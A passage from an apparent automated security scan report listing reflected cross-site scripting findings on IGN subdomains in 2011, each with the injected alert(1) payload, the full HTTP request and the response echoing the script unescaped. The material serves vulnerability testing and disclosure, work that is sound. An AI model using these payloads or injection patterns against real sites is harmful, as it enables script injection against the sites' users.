Set-Cookie: freq=c-1297043496453v-1n-12mc+1297043496453mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 108099

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Ratings and Re
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://games.ign.com/ratings.html?3eae1"><script>alert(1)</script>279a1848484=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.211. http://gear.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://gear.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b863c"><script>alert(1)</script>fcd2abe112b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?b863c"><script>alert(1)</script>fcd2abe112b=1 HTTP/1.1
Host: gear.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:51:34 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:51:34 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-855949556-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:34 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043494206v-1n-12mc+1297043494206mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 143211

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Gear: Previews
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://gear.ign.com/?b863c"><script>alert(1)</script>fcd2abe112b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.212. http://gear.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://gear.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 75409"-alert(1)-"034fd7420f0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?75409"-alert(1)-"034fd7420f0=1 HTTP/1.1
Host: gear.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:51:38 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:51:38 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2993-879256091-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:38 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043498665v-1n-12mc+1297043498665mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 143002

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Gear: Previews
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://gear.ign.com/?75409"-alert(1)-"034fd7420f0=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.213. http://gear.ign.com/articles/114/1147945p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://gear.ign.com
Path:	/articles/114/1147945p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bc7c9"><script>alert(1)</script>5f62f771290 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147945p1.html?bc7c9"><script>alert(1)</script>5f62f771290=1 HTTP/1.1
Host: gear.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:51:30 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:51:30 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-1148740613-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:30 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043490358v-1n-12mc+1297043490358mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 102514

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://gear.ign.com/articles/114/1147945p1.html?bc7c9"><script>alert(1)</script>5f62f771290=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.214. http://gear.ign.com/articles/114/1147945p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://gear.ign.com
Path:	/articles/114/1147945p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4ba9e"-alert(1)-"ed46ab3021e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147945p1.html?4ba9e"-alert(1)-"ed46ab3021e=1 HTTP/1.1
Host: gear.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:51:32 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:51:32 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2993-1930050444-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:32 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043492260v-1n-12mc+1297043492260mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 102434

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
scoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://gear.ign.com/articles/114/1147945p1.html?4ba9e"-alert(1)-"ed46ab3021e=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.215. http://guides.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9c05a"-alert(1)-"dc219b0b059 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?9c05a"-alert(1)-"dc219b0b059=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:54:12 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22919-721810951-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:12 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043653040v-1n-12mc+1297043653040mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 563591

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<script>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://guides.ign.com/?9c05a"-alert(1)-"dc219b0b059=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.216. http://guides.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a5bc"><script>alert(1)</script>3d8e7077c65 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?4a5bc"><script>alert(1)</script>3d8e7077c65=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:54:05 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31833-2109221874-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:54:05 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043645309v-1n-12mc+1297043645309mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 563668

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://guides.ign.com/?4a5bc"><script>alert(1)</script>3d8e7077c65=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.217. http://guides.ign.com/guides/14235018/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/guides/14235018/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47a84"><script>alert(1)</script>564c920195a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /guides/14235018/?47a84"><script>alert(1)</script>564c920195a=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:51:49 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-259185475-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:49 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043509360v-1n-12mc+1297043509360mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 101059

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://guides.ign.com/guides/14235018/?47a84"><script>alert(1)</script>564c920195a=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.218. http://guides.ign.com/guides/14235018/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/guides/14235018/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f02f6"-alert(1)-"f03fa2e9ceb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /guides/14235018/?f02f6"-alert(1)-"f03fa2e9ceb=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:51:54 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-1875560547-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:54 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043514177v-1n-12mc+1297043514177mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 100999

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://guides.ign.com/guides/14235018/?f02f6"-alert(1)-"f03fa2e9ceb=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.219. http://guides.ign.com/guides/14293266/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/guides/14293266/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cc77b"-alert(1)-"9efbf2b5b8b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /guides/14293266/?cc77b"-alert(1)-"9efbf2b5b8b=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:51:41 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-23512-726416638-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:41 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043501702v-1n-12mc+1297043501702mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 95333

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://guides.ign.com/guides/14293266/?cc77b"-alert(1)-"9efbf2b5b8b=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.220. http://guides.ign.com/guides/14293266/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/guides/14293266/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53311"><script>alert(1)</script>b8a60daf5cb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /guides/14293266/?53311"><script>alert(1)</script>b8a60daf5cb=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:51:36 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24874-1286270057-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:36 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043496552v-1n-12mc+1297043496552mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 95368

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://guides.ign.com/guides/14293266/?53311"><script>alert(1)</script>b8a60daf5cb=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.221. http://guides.ign.com/guides/14341976/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/guides/14341976/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2a72d"-alert(1)-"d0fe4cf0b4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /guides/14341976/?2a72d"-alert(1)-"d0fe4cf0b4=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:51:58 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-60180781-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:58 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043518742v-1n-12mc+1297043518742mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 96168

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://guides.ign.com/guides/14341976/?2a72d"-alert(1)-"d0fe4cf0b4=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.222. http://guides.ign.com/guides/14341976/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/guides/14341976/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b0f8"><script>alert(1)</script>c82848e0415 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /guides/14341976/?2b0f8"><script>alert(1)</script>c82848e0415=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:51:51 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13272-570928520-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:51 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043511894v-1n-12mc+1297043511894mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 101523

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://guides.ign.com/guides/14341976/?2b0f8"><script>alert(1)</script>c82848e0415=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.223. http://guides.ign.com/guides/14349501/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/guides/14349501/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79fa1"><script>alert(1)</script>4d9b8b5138e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /guides/14349501/?79fa1"><script>alert(1)</script>4d9b8b5138e=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:51:49 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22919-1800780367-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:49 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043509127v-1n-12mc+1297043509127mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 97958

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://guides.ign.com/guides/14349501/?79fa1"><script>alert(1)</script>4d9b8b5138e=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.224. http://guides.ign.com/guides/14349501/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/guides/14349501/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a2f36"-alert(1)-"33758481171 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /guides/14349501/?a2f36"-alert(1)-"33758481171=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:51:53 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19323-1777948420-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:53 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043513101v-1n-12mc+1297043513101mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 97926

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://guides.ign.com/guides/14349501/?a2f36"-alert(1)-"33758481171=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.225. http://guides.ign.com/guides/14354229/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/guides/14354229/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aa952"-alert(1)-"9cf633cfd9a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /guides/14354229/?aa952"-alert(1)-"9cf633cfd9a=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:51:44 GMT
Pragma: no-cache
